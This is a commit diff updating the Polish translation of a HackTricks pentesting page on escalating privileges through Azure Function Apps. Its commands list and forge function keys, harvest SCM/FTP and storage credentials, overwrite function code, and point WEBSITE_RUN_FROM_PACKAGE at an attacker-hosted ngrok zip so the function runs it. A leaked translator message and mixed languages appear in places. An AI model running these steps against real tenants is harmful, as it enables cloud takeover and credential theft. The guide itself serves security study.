mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+82
-61
@@ -12,26 +12,26 @@ Sprawdź następującą stronę, aby uzyskać więcej informacji:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, można znaleźć **różne kontenery** (własne lub o predefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
|
||||
Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, możliwe jest znalezienie **różnych kontenerów** (custom lub o z góry zdefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
|
||||
|
||||
Gdy znajdziesz miejsce, gdzie znajduje się kod funkcji, jeśli masz nad nim uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i eskalować uprawnienia do managed identities przypisanych do funkcji.
|
||||
Gdy znajdziesz, gdzie znajduje się kod funkcji, jeśli masz do niego uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i podnieść uprawnienia do managed identities przypisanych do funkcji.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Kod funkcji jest zwykle przechowywany w udziale plików. Mając wystarczający dostęp można zmodyfikować plik z kodem i **sprawić, by funkcja załadowała dowolny kod**, co pozwala na eskalację uprawnień do managed identities przypisanych do Function.
|
||||
Kod funkcji jest zwykle przechowywany wewnątrz file share. Przy wystarczającym dostępie możliwe jest zmodyfikowanie pliku z kodem i **spowodowanie, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do managed identities przypisanych do Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
|
||||
Ta metoda wdrażania zwykle konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** które możesz uzyskać z
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Te konfiguracje będą zawierać **Storage Account Key**, którego **Function** może użyć, aby uzyskać dostęp do kodu.
|
||||
Te konfiguracje będą zawierać **Storage Account Key**, którego Function może użyć do uzyskania dostępu do kodu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Przy wystarczających uprawnieniach do połączenia z File Share i **zmodyfikowania uruchamianego skryptu** możliwe jest wykonanie dowolnego kodu w **Function** i eskalacja uprawnień.
|
||||
> Przy wystarczających uprawnieniach do połączenia się z File Share i **modyfikacji skryptu** uruchamianego przez Function możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień.
|
||||
|
||||
Poniższy przykład używa macOS do połączenia z file share, ale zaleca się również sprawdzenie poniższej strony, aby uzyskać więcej informacji o file shares:
|
||||
Poniższy przykład używa macOS do połączenia się z file share, ale zaleca się także sprawdzenie następującej strony, aby uzyskać więcej informacji o file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Często również można znaleźć **zip releases** w folderze `function-releases` w kontenerze Storage Account, którego używa function app — zwykle w kontenerze **nazywanym `function-releases`**.
|
||||
Często można też znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, którego używa function app, zwykle w kontenerze **zwykle nazywanym `function-releases`**.
|
||||
|
||||
Zwykle ta metoda wdrażania ustawi konfigurację `WEBSITE_RUN_FROM_PACKAGE` w:
|
||||
```bash
|
||||
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
Ta konfiguracja zwykle będzie zawierać **SAS URL do pobrania** kodu z Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Przy wystarczających uprawnieniach, aby połączyć się z blob containerem, który **zawiera kod w zipie**, możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
|
||||
> Mając wystarczające uprawnienia do połączenia z blob container, który **zawiera kod w zip**, można wykonać arbitrary code w Function i eskalować privilegies.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany za pomocą Github Actions, można znaleźć folder **`github-actions-deploy`** w Storage Account zawierający zip z kodem oraz SAS URL do tego zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany przez Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Storage Account zawierającego zip z kodem oraz SAS URL do zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Mając uprawnienia do odczytu kontenerów w Storage Account przechowującym dane funkcji, można znaleźć kontener **`scm-releases`**. Znajduje się tam najnowsze wydanie w formacie pliku **Squashfs filesystem file format** i w związku z tym możliwe jest odczytanie kodu funkcji:
|
||||
Mając uprawnienia do odczytu containerów wewnątrz Storage Account, który przechowuje dane function, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowszy release w formacie pliku systemu plików **Squashfs filesystem file format** i dzięki temu można odczytać kod function:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Możliwe jest także znalezienie **master and functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **`<app-name>`** w plikach JSON, które tam znajdziesz.
|
||||
Możliwe jest też znalezienie **master i functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **`<app-name>`** w plikach JSON, które można tam znaleźć.
|
||||
|
||||
> [!CAUTION]
|
||||
> Przy wystarczających uprawnieniach do połączenia się z blob containerem, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
|
||||
> Przy wystarczających uprawnieniach do połączenia się z blob container, który **zawiera kod w pliku z rozszerzeniem zip** (który tak naprawdę jest **`squashfs`**) możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
To uprawnienie pozwala wylistować function, master i system keys, ale nie host key, dla wskazanej funkcji za pomocą:
|
||||
To uprawnienie pozwala wylistować klucze funkcji, master i system, ale nie hosta, dla wskazanej funkcji za pomocą:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Dysponując master key, można również uzyskać kod źródłowy pod adresem URL takim jak:
|
||||
Z master key można też uzyskać source code z URL takiego jak:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
Aby **zmienić kod, który jest wykonywany** w funkcji na:
|
||||
I aby **zmienić kod, który jest wykonywany** w funkcji za pomocą:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
To uprawnienie umożliwia pobranie domyślnego klucza określonej funkcji za pomocą:
|
||||
To uprawnienie pozwala uzyskać domyślny key dla wskazanej function za pomocą:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Wywołaj funkcję, używając uzyskanego klucza domyślnego:
|
||||
Wywołaj funkcję używając domyślnie uzyskanego klucza:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
To uprawnienie pozwala utworzyć/zaktualizować klucz funkcji dla określonej funkcji za pomocą:
|
||||
To uprawnienie pozwala tworzyć/aktualizować function key dla określonej funkcji za pomocą:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
To uprawnienie umożliwia utworzenie/aktualizację master key dla wskazanej funkcji za pomocą:
|
||||
To uprawnienie pozwala utworzyć/zaktualizować master key dla wskazanej funkcji za pomocą:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Pamiętaj, że przy użyciu tego klucza możesz także uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej!
|
||||
> Pamiętaj, że z tym key możesz także uzyskać access do source code i modyfikować go, jak wyjaśniono wcześniej!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
To uprawnienie pozwala na tworzenie/aktualizację systemowego klucza funkcji dla określonej funkcji za pomocą:
|
||||
To permission allows to create/update a system function key to the specified function with:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Brakuje klucza — proszę wklej klucz po "Use the key:" lub podaj zawartość pliku src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md do przetłumaczenia.
|
||||
Użyj klucza:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
To uprawnienie pozwala pobrać ustawienia funkcji. W tych konfiguracjach można znaleźć domyślne wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta umożliwiający dostęp do blob storage funkcji z pełnymi uprawnieniami**.
|
||||
To uprawnienie pozwala na pobranie ustawień funkcji. W tych konfiguracjach może być możliwe znalezienie domyślnych wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta do uzyskania dostępu do blob storage funkcji z PEŁNYMI uprawnieniami**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Co więcej, to uprawnienie pozwala również uzyskać **SCM username and password** (jeśli włączone) za pomocą:
|
||||
Co więcej, to uprawnienie pozwala również uzyskać **SCM username i password** (jeśli włączone) za pomocą:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Te uprawnienia pozwalają na wylistowanie wartości konfiguracji funkcji, jak widzieliśmy wcześniej, oraz **modyfikowanie tych wartości**. To przydatne, ponieważ te ustawienia wskazują, skąd pochodzi kod wykonywany w funkcji.
|
||||
Te uprawnienia pozwalają wylistować wartości config funkcji, jak widzieliśmy wcześniej, a także **modyfikować te wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się code do wykonania wewnątrz function.
|
||||
|
||||
Daje to możliwość ustawienia wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL pliku zip zawierającego nowy kod do wykonania wewnątrz aplikacji webowej:
|
||||
Dlatego możliwe jest ustawienie wartości settingu **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL do pliku zip zawierającego nowy code do wykonania wewnątrz web application:
|
||||
|
||||
- Zacznij od pobrania aktualnej konfiguracji
|
||||
- Zaczynamy od pobrania current config
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Utwórz kod, który chcesz, aby funkcja uruchamiała, i udostępnij go publicznie
|
||||
- Utwórz kod, który chcesz, aby funkcja uruchamiała, i hostuj go publicznie
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Zmodyfikuj funkcję, zachowaj poprzednie parametry i dodaj na końcu konfigurację **`WEBSITE_RUN_FROM_PACKAGE`**, wskazującą URL do **zip** zawierającego kod.
|
||||
- Zmodyfikuj function, zachowaj poprzednie parametry i dodaj na końcu config **`WEBSITE_RUN_FROM_PACKAGE`** wskazujący na URL z **zip** zawierającym code.
|
||||
|
||||
Poniżej znajduje się przykład moich **własnych ustawień — będziesz musiał zmienić wartości na swoje**; zwróć uwagę na końcu na wartość `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` — to miejsce, gdzie hostowałem aplikację.
|
||||
Poniżej jest przykład moich **własnych settings, dla których będziesz musiał zmienić wartości na swoje**, zwróć uwagę na końcu wartości `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, to było miejsce, gdzie hostowałem app.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Dzięki temu uprawnieniu **można zmodyfikować kod aplikacji** przez konsolę web (lub przez następujący endpoint API):
|
||||
Z tym uprawnieniem **możliwe jest modyfikowanie kodu aplikacji** przez web console (lub przez następujący endpoint API):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
To uprawnienie umożliwia wylistowanie wszystkich profili publikowania, które w zasadzie zawierają **basic auth credentials**:
|
||||
To uprawnienie pozwala na wylistowanie wszystkich profili publikacji, które zasadniczo zawierają **basic auth credentials**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -280,9 +280,9 @@ az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Jeśli poświadczenia są **REDACTED**
|
||||
- Jeśli poświadczenia **REDACTED**
|
||||
|
||||
Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że musisz **włączyć opcję SCM basic authentication** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowego uwierzytelniania SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -302,26 +302,47 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Metoda SCM**
|
||||
- **Method SCM**
|
||||
|
||||
Następnie możesz uzyskać dostęp przy użyciu tych **basic auth credentials to the SCM URL** swojej function app i uzyskać wartości zmiennych środowiskowych:
|
||||
Następnie możesz uzyskać dostęp za pomocą tych **basic auth credentials do URL SCM** twojej function app i pobrać wartości zmiennych env:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Zauważ, że **SCM username** jest zwykle znakiem "$", po którym następuje nazwa aplikacji, więc: `$<app-name>`._
|
||||
Możesz pobrać, zmodyfikować i uploadować nowy kod function :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
Możesz również uzyskać dostęp do strony internetowej pod adresem `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
Wartości ustawień zawierają **AccountKey** storage account przechowującego dane function app, co pozwala przejąć kontrolę nad tym storage account.
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
Możesz nawet uploadować konkretny plik :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
- **Metoda FTP**
|
||||
Możesz też uzyskać dostęp do strony web pod `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Wartości settings zawierają **AccountKey** storage account przechowującego dane function app, co pozwala kontrolować ten storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Połącz się z serwerem FTP używając:
|
||||
```bash
|
||||
@@ -337,7 +358,7 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Należy zauważyć, że **FTP username** jest zwykle w formacie \<app-name>\\$\<app-name>._
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
@@ -347,9 +368,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Z tym uprawnieniem możliwe jest [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który może być później użyty do pobrania **master key** i tym samym uzyskania dostępu oraz modyfikacji kodu funkcji.
|
||||
Z tym uprawnieniem możliwe jest [uzyskanie **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), którego można później użyć do pobrania **master key** i w ten sposób uzyskać dostęp do kodu funkcji oraz go modyfikować.
|
||||
|
||||
Jednak w moich ostatnich sprawdzeniach nie zwrócono żadnego tokena, więc może być to wyłączone lub już nie działać — oto jak byś to zrobił:
|
||||
Jednak w moich ostatnich sprawdzeniach żaden token nie został zwrócony, więc możliwe, że jest to wyłączone albo już nie działa, ale oto jak byś to zrobił:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
To uprawnienie pozwala **włączyć funkcje**, które mogą być wyłączone (lub je wyłączyć).
|
||||
To uprawnienie pozwala **włączyć functions**, które mogą być wyłączone (lub je wyłączyć).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Można też sprawdzić, czy funkcja jest włączona lub wyłączona pod następującym adresem URL (używając uprawnienia w nawiasie):
|
||||
Można też sprawdzić, czy function jest włączona lub wyłączona pod następującym URL (używając permission w nawiasie):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu przesłać złośliwy azure function container app do docker hub (na przykład) i doprowadzić do jego wykonania przez function app.
|
||||
Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowany do pracy w kontenerze. Umożliwiłoby to atakującemu przesłanie złośliwego container app dla Azure Function do docker hub (na przykład) i sprawienie, by function go wykonała.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Dzięki tym uprawnieniom możliwe jest **przypisanie nowej user managed identity do funkcji**. Jeśli funkcja zostanie przejęta, pozwoli to na eskalację uprawnień do dowolnej user managed identity.
|
||||
Z tymi uprawnieniami można **dołączyć nową user managed identity do function**. Jeśli function zostało skompromitowane, pozwoliłoby to na eskalację uprawnień do dowolnej user managed identity.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Debugowanie zdalne
|
||||
### Remote Debugging
|
||||
|
||||
Możliwe jest także połączenie się w celu debugowania działającej funkcji Azure, jak [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach, na wypadek gdy programista zapomni i pozostawi podatną konfigurację.
|
||||
Możliwe jest również połączenie się, aby debugować działającą funkcję Azure, jak [**wyjaśniono w dokumentacji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach na wypadek, gdyby developer zapomniał i pozostawił podatną konfigurację.
|
||||
|
||||
Można sprawdzić, czy Function ma włączone debugowanie za pomocą:
|
||||
Możliwe jest sprawdzenie, czy Function ma włączony debugging za pomocą:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Mając uprawnienie `Microsoft.Web/sites/config/write`, możliwe jest również ustawienie funkcji w trybie debugowania (poniższe polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`).
|
||||
Mając uprawnienie `Microsoft.Web/sites/config/write`, można też przełączyć funkcję w tryb debugowania (następujące polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Zmiana repozytorium Github
|
||||
### Zmień repo Github
|
||||
|
||||
Próbowałem zmienić repozytorium Github, z którego odbywa się wdrażanie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, **the new code was not loaded** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\
|
||||
Co więcej, **managed identity federated credential wasn't updated**, aby zezwolić nowemu repozytorium, więc wygląda na to, że to nie jest zbyt przydatne.
|
||||
Spróbowałem zmienić repo Github, z którego odbywa się deployment, wykonując następujące polecenia, ale nawet jeśli to się zmieniło, **nowy kod nie został załadowany** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\
|
||||
Ponadto **federated credential managed identity nie zostało zaktualizowane**, aby dopuścić nowe repozytorium, więc wygląda na to, że nie jest to zbyt użyteczne.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user